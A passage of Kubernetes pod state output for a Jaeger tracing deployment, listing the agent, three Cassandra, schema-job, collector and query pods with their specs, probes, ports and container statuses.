    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.42
    podIPs:
    - ip: 192.168.34.42
    qosClass: BestEffort
    startTime: "2025-10-22T17:30:05Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 51614435ad0efe35c5b8928493075dc9c1d324612b899fbc1bb20baed388f30a
      cni.projectcalico.org/podIP: 192.168.133.134/32
      cni.projectcalico.org/podIPs: 192.168.133.134/32
    creationTimestamp: "2025-10-22T17:30:05Z"
    generateName: jaeger-agent-
    generation: 1
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
      pod-template-generation: "1"
    name: jaeger-agent-zv7dg
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: jaeger-agent
      uid: aad09bbe-e071-4581-98a9-a39f22f817a5
    resourceVersion: "18007763"
    uid: bcf63259-64dc-4730-8aca-54eb9b32620a
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-1
    containers:
    - env:
      - name: REPORTER_GRPC_HOST_PORT
        value: jaeger-collector:14250
      image: jaegertracing/jaeger-agent:1.53.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jaeger-agent
      ports:
      - containerPort: 5775
        name: zipkin-compact
        protocol: UDP
      - containerPort: 6831
        name: jaeger-compact
        protocol: UDP
      - containerPort: 6832
        name: jaeger-binary
        protocol: UDP
      - containerPort: 5778
        name: http
        protocol: TCP
      - containerPort: 14271
        name: admin
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: jaeger-agent
    serviceAccountName: jaeger-agent
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:15Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:30:05Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:15Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:15Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:30:05Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://338cdc136678538278cbfecca48b0912721487b14086324455cc273b6e2c7eff
      image: docker.io/jaegertracing/jaeger-agent:1.53.0
      imageID: docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      lastState:
        terminated:
          containerID: containerd://f2e48001b431ce40d3fa18021b8d53af2157688fdb5e3150bd3bd5471aa38d25
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:02Z"
      name: jaeger-agent
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:15Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.134
    podIPs:
    - ip: 192.168.133.134
    qosClass: BestEffort
    startTime: "2025-10-22T17:30:05Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 8d23dac970f232a18efee678a6bf03dc6fabc7eb52479e9c934b6507c4f65e5e
      cni.projectcalico.org/podIP: 192.168.34.38/32
      cni.projectcalico.org/podIPs: 192.168.34.38/32
    creationTimestamp: "2025-10-19T15:15:44Z"
    generateName: jaeger-cassandra-
    generation: 1
    labels:
      app: cassandra
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: jaeger-cassandra-5f5c6957bc
      release: jaeger
      statefulset.kubernetes.io/pod-name: jaeger-cassandra-0
    name: jaeger-cassandra-0
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: jaeger-cassandra
      uid: 00ed9095-106f-49b1-a75c-2b58e08b0660
    resourceVersion: "18046763"
    uid: 8a71195c-a809-4718-b50b-b118647f9461
  spec:
    containers:
    - env:
      - name: CASSANDRA_SEEDS
        value: jaeger-cassandra-0.jaeger-cassandra.jaeger.svc.cluster.local
      - name: MAX_HEAP_SIZE
        value: 2048M
      - name: HEAP_NEWSIZE
        value: 512M
      - name: CASSANDRA_ENDPOINT_SNITCH
        value: GossipingPropertyFileSnitch
      - name: CASSANDRA_CLUSTER_NAME
        value: jaeger
      - name: CASSANDRA_DC
        value: dc1
      - name: CASSANDRA_RACK
        value: rack1
      - name: CASSANDRA_START_RPC
        value: "false"
      - name: POD_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      image: cassandra:3.11.6
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/sh
            - -c
            - exec nodetool decommission
      livenessProbe:
        exec:
          command:
          - /bin/sh
          - -c
          - nodetool status
        failureThreshold: 3
        initialDelaySeconds: 90
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      name: jaeger-cassandra
      ports:
      - containerPort: 7000
        name: intra
        protocol: TCP
      - containerPort: 7001
        name: tls
        protocol: TCP
      - containerPort: 7199
        name: jmx
        protocol: TCP
      - containerPort: 9042
        name: cql
        protocol: TCP
      - containerPort: 9160
        name: thrift
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/sh
          - -c
          - nodetool status | grep -E "^UN\s+${POD_IP}"
        failureThreshold: 3
        initialDelaySeconds: 90
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/cassandra
        name: data
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-xqfb6
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: jaeger-cassandra-0
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: default
    serviceAccountName: default
    subdomain: jaeger-cassandra
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: data
    - name: kube-api-access-xqfb6
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:18Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:15:44Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:27:04Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:27:04Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:15:44Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://6f97d268ed282fea8b744879413c2cf68a5487af7ca0f4abd12b454b6e64dcb7
      image: docker.io/library/cassandra:3.11.6
      imageID: docker.io/library/cassandra@sha256:5aa8400b4b3b794b5eba85f79b75a9ed9326e41428ae3a9d6b91cd731f2cf768
      lastState:
        terminated:
          containerID: containerd://a1ac6e11116f1764f3a24482767e79a52c62125b3d1dfe780bfa695cd03a8421
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-29T13:25:14Z"
      name: jaeger-cassandra
      ready: true
      resources: {}
      restartCount: 48
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:17Z"
      volumeMounts:
      - mountPath: /var/lib/cassandra
        name: data
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-xqfb6
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.38
    podIPs:
    - ip: 192.168.34.38
    qosClass: BestEffort
    startTime: "2025-10-19T15:15:44Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: ddaafb8d0fa1c177a907f443b22d1d3c4a6c59d5cba3be5ffc649a9f05fc704b
      cni.projectcalico.org/podIP: 192.168.133.186/32
      cni.projectcalico.org/podIPs: 192.168.133.186/32
    creationTimestamp: "2025-11-25T15:22:39Z"
    generateName: jaeger-cassandra-
    generation: 1
    labels:
      app: cassandra
      apps.kubernetes.io/pod-index: "1"
      controller-revision-hash: jaeger-cassandra-5f5c6957bc
      release: jaeger
      statefulset.kubernetes.io/pod-name: jaeger-cassandra-1
    name: jaeger-cassandra-1
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: jaeger-cassandra
      uid: 00ed9095-106f-49b1-a75c-2b58e08b0660
    resourceVersion: "18034984"
    uid: 43d776b9-7f0a-4550-9f38-7e4dcf5ba9c3
  spec:
    containers:
    - env:
      - name: CASSANDRA_SEEDS
        value: jaeger-cassandra-0.jaeger-cassandra.jaeger.svc.cluster.local
      - name: MAX_HEAP_SIZE
        value: 2048M
      - name: HEAP_NEWSIZE
        value: 512M
      - name: CASSANDRA_ENDPOINT_SNITCH
        value: GossipingPropertyFileSnitch
      - name: CASSANDRA_CLUSTER_NAME
        value: jaeger
      - name: CASSANDRA_DC
        value: dc1
      - name: CASSANDRA_RACK
        value: rack1
      - name: CASSANDRA_START_RPC
        value: "false"
      - name: POD_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      image: cassandra:3.11.6
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/sh
            - -c
            - exec nodetool decommission
      livenessProbe:
        exec:
          command:
          - /bin/sh
          - -c
          - nodetool status
        failureThreshold: 3
        initialDelaySeconds: 90
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      name: jaeger-cassandra
      ports:
      - containerPort: 7000
        name: intra
        protocol: TCP
      - containerPort: 7001
        name: tls
        protocol: TCP
      - containerPort: 7199
        name: jmx
        protocol: TCP
      - containerPort: 9042
        name: cql
        protocol: TCP
      - containerPort: 9160
        name: thrift
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/sh
          - -c
          - nodetool status | grep -E "^UN\s+${POD_IP}"
        failureThreshold: 3
        initialDelaySeconds: 90
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/cassandra
        name: data
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8v2kd
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: jaeger-cassandra-1
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: default
    serviceAccountName: default
    subdomain: jaeger-cassandra
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: data
    - name: kube-api-access-8v2kd
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:16Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:39Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:28:22Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:28:22Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:39Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://08283f6cdc34206de88c69ae9ac8d39a8d6f05e50f2259e0865357fb676d4812
      image: docker.io/library/cassandra:3.11.6
      imageID: docker.io/library/cassandra@sha256:5aa8400b4b3b794b5eba85f79b75a9ed9326e41428ae3a9d6b91cd731f2cf768
      lastState:
        terminated:
          containerID: containerd://7068e558b27fb172c69d23401f8c760b0e4f7bb88f249eed124d4032af2f7ca6
          exitCode: 3
          finishedAt: "2025-11-29T13:26:13Z"
          reason: Error
          startedAt: "2025-11-29T13:26:03Z"
      name: jaeger-cassandra
      ready: true
      resources: {}
      restartCount: 6
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:26:45Z"
      volumeMounts:
      - mountPath: /var/lib/cassandra
        name: data
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8v2kd
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.186
    podIPs:
    - ip: 192.168.133.186
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:39Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 85d1de46245d9bb00c03db56c40587b76f788deefd985221dc0b9d6bbdd7cf37
      cni.projectcalico.org/podIP: 192.168.61.254/32
      cni.projectcalico.org/podIPs: 192.168.61.254/32
    creationTimestamp: "2025-10-19T15:27:07Z"
    generateName: jaeger-cassandra-
    generation: 1
    labels:
      app: cassandra
      apps.kubernetes.io/pod-index: "2"
      controller-revision-hash: jaeger-cassandra-5f5c6957bc
      release: jaeger
      statefulset.kubernetes.io/pod-name: jaeger-cassandra-2
    name: jaeger-cassandra-2
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: jaeger-cassandra
      uid: 00ed9095-106f-49b1-a75c-2b58e08b0660
    resourceVersion: "18035113"
    uid: 359eef19-5e11-4477-934d-40b457a435a8
  spec:
    containers:
    - env:
      - name: CASSANDRA_SEEDS
        value: jaeger-cassandra-0.jaeger-cassandra.jaeger.svc.cluster.local
      - name: MAX_HEAP_SIZE
        value: 2048M
      - name: HEAP_NEWSIZE
        value: 512M
      - name: CASSANDRA_ENDPOINT_SNITCH
        value: GossipingPropertyFileSnitch
      - name: CASSANDRA_CLUSTER_NAME
        value: jaeger
      - name: CASSANDRA_DC
        value: dc1
      - name: CASSANDRA_RACK
        value: rack1
      - name: CASSANDRA_START_RPC
        value: "false"
      - name: POD_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      image: cassandra:3.11.6
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/sh
            - -c
            - exec nodetool decommission
      livenessProbe:
        exec:
          command:
          - /bin/sh
          - -c
          - nodetool status
        failureThreshold: 3
        initialDelaySeconds: 90
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      name: jaeger-cassandra
      ports:
      - containerPort: 7000
        name: intra
        protocol: TCP
      - containerPort: 7001
        name: tls
        protocol: TCP
      - containerPort: 7199
        name: jmx
        protocol: TCP
      - containerPort: 9042
        name: cql
        protocol: TCP
      - containerPort: 9160
        name: thrift
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/sh
          - -c
          - nodetool status | grep -E "^UN\s+${POD_IP}"
        failureThreshold: 3
        initialDelaySeconds: 90
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/cassandra
        name: data
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8nrbt
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: jaeger-cassandra-2
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: default
    serviceAccountName: default
    subdomain: jaeger-cassandra
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: data
    - name: kube-api-access-8nrbt
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:47Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:27:07Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:29:01Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:29:01Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:27:07Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://cd9a169abe810dd582c38955efd3f29c3fa2d3dd6330d8112dc4126ac155bd7f
      image: docker.io/library/cassandra:3.11.6
      imageID: docker.io/library/cassandra@sha256:5aa8400b4b3b794b5eba85f79b75a9ed9326e41428ae3a9d6b91cd731f2cf768
      lastState:
        terminated:
          containerID: containerd://23b0eccc38c99418c928c374e4eb436664bfaa97652938a15a43b2dbeb4208ba
          exitCode: 3
          finishedAt: "2025-11-29T13:26:22Z"
          reason: Error
          startedAt: "2025-11-29T13:26:16Z"
      name: jaeger-cassandra
      ready: true
      resources: {}
      restartCount: 66
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:27:13Z"
      volumeMounts:
      - mountPath: /var/lib/cassandra
        name: data
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8nrbt
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.254
    podIPs:
    - ip: 192.168.61.254
    qosClass: BestEffort
    startTime: "2025-10-19T15:27:07Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 16047389635e67dc1091ee38a761413927ba5fa322b72e4055544a1cee793c41
      cni.projectcalico.org/podIP: ""
      cni.projectcalico.org/podIPs: ""
    creationTimestamp: "2025-10-19T15:15:44Z"
    generateName: jaeger-cassandra-schema-
    generation: 1
    labels:
      batch.kubernetes.io/controller-uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
      batch.kubernetes.io/job-name: jaeger-cassandra-schema
      controller-uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
      job-name: jaeger-cassandra-schema
    name: jaeger-cassandra-schema-8jb4c
    namespace: jaeger
    ownerReferences:
    - apiVersion: batch/v1
      blockOwnerDeletion: true
      controller: true
      kind: Job
      name: jaeger-cassandra-schema
      uid: 632b6abc-eb8a-4a07-a259-48e26a000d70
    resourceVersion: "10909018"
    uid: 41283cf7-14c7-42d5-b6c6-db00c656bfff
  spec:
    containers:
    - env:
      - name: CASSANDRA_SERVERS
        value: jaeger-cassandra
      - name: CASSANDRA_PORT
        value: "9042"
      - name: CASSANDRA_KEYSPACE
        value: jaeger_v1_test
      - name: CASSANDRA_USERNAME
        value: user
      - name: CASSANDRA_PASSWORD
        valueFrom:
          secretKeyRef:
            key: password
            name: jaeger-cassandra
      - name: CQLSH_HOST
        value: jaeger-cassandra
      - name: DATACENTER
        value: dc1
      - name: KEYSPACE
        value: jaeger_v1_test
      image: jaegertracing/jaeger-cassandra-schema:1.53.0
      imagePullPolicy: IfNotPresent
      name: jaeger-cassandra-schema
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-z4fs8
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: OnFailure
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: jaeger-cassandra-schema
    serviceAccountName: jaeger-cassandra-schema
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-z4fs8
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:18:19Z"
      status: "False"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:15:45Z"
      reason: PodCompleted
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:18:17Z"
      reason: PodCompleted
      status: "False"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:18:17Z"
      reason: PodCompleted
      status: "False"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:15:44Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://8957f6da02142948e6b7c509f9d546981be4c48a39ebf1f723f4b664b34e865a
      image: docker.io/jaegertracing/jaeger-cassandra-schema:1.53.0
      imageID: docker.io/jaegertracing/jaeger-cassandra-schema@sha256:d48d6dab2c655197ab069a54acb7b655d5674df91067ad22028cc326af80cf78
      lastState: {}
      name: jaeger-cassandra-schema
      ready: false
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://8957f6da02142948e6b7c509f9d546981be4c48a39ebf1f723f4b664b34e865a
          exitCode: 0
          finishedAt: "2025-10-19T15:18:15Z"
          reason: Completed
          startedAt: "2025-10-19T15:17:05Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-z4fs8
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Succeeded
    qosClass: BestEffort
    startTime: "2025-10-19T15:15:45Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/config-env: 75a11da44c802486bc6f65640aa48a730f0f684c5c07a42ba3cd1735eb3fb070
      cni.projectcalico.org/containerID: d14ab466cc29fa4766436a0817fd0f7039becfe2d190e60a90b48e9152b99db8
      cni.projectcalico.org/podIP: 192.168.133.146/32
      cni.projectcalico.org/podIPs: 192.168.133.146/32
    creationTimestamp: "2025-11-25T15:22:29Z"
    generateName: jaeger-collector-5b674d4987-
    generation: 1
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      pod-template-hash: 5b674d4987
    name: jaeger-collector-5b674d4987-h2655
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: jaeger-collector-5b674d4987
      uid: ad965a91-ccbb-4cec-ad15-e42ede797488
    resourceVersion: "18009054"
    uid: f4755058-919b-4123-b33c-b357c30006e2
  spec:
    containers:
    - env:
      - name: SPAN_STORAGE_TYPE
        value: cassandra
      - name: CASSANDRA_SERVERS
        value: jaeger-cassandra
      - name: CASSANDRA_PORT
        value: "9042"
      - name: CASSANDRA_KEYSPACE
        value: jaeger_v1_test
      - name: CASSANDRA_USERNAME
        value: user
      - name: CASSANDRA_PASSWORD
        valueFrom:
          secretKeyRef:
            key: password
            name: jaeger-cassandra
      image: jaegertracing/jaeger-collector:1.53.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jaeger-collector
      ports:
      - containerPort: 14250
        name: grpc
        protocol: TCP
      - containerPort: 14268
        name: http
        protocol: TCP
      - containerPort: 14269
        name: admin
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: jaeger-collector
    serviceAccountName: jaeger-collector
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:09Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:18:13Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:18:13Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://d3e0f3dac93d1364f0123ed83a3122d8987c5baeb62c986b303412462ca47116
      image: docker.io/jaegertracing/jaeger-collector:1.53.0
      imageID: docker.io/jaegertracing/jaeger-collector@sha256:7f126922290349b26930f4ed2f4bfcd14a034a619863386acdf4d81fc93d435b
      lastState:
        terminated:
          containerID: containerd://dc9289e2a22d69165ddc2650e75213f97bc8e1e99d2ea612d76ac5dff517c2d2
          exitCode: 137
          finishedAt: "2025-11-29T11:16:45Z"
          reason: Error
          startedAt: "2025-11-29T11:15:45Z"
      name: jaeger-collector
      ready: true
      resources: {}
      restartCount: 13
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:18:13Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.146
    podIPs:
    - ip: 192.168.133.146
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 59018b57eb12b49322d44407951c5a8bfcc579d4ceb59d4cc839fe915b61cb63
      cni.projectcalico.org/podIP: 192.168.133.151/32
      cni.projectcalico.org/podIPs: 192.168.133.151/32
    creationTimestamp: "2025-11-25T15:22:28Z"
    generateName: jaeger-query-699bddc747-
    generation: 1
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      pod-template-hash: 699bddc747
    name: jaeger-query-699bddc747-pm4nn
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: jaeger-query-699bddc747
      uid: b355f230-e48b-4b50-b4fd-da6d1d875c55
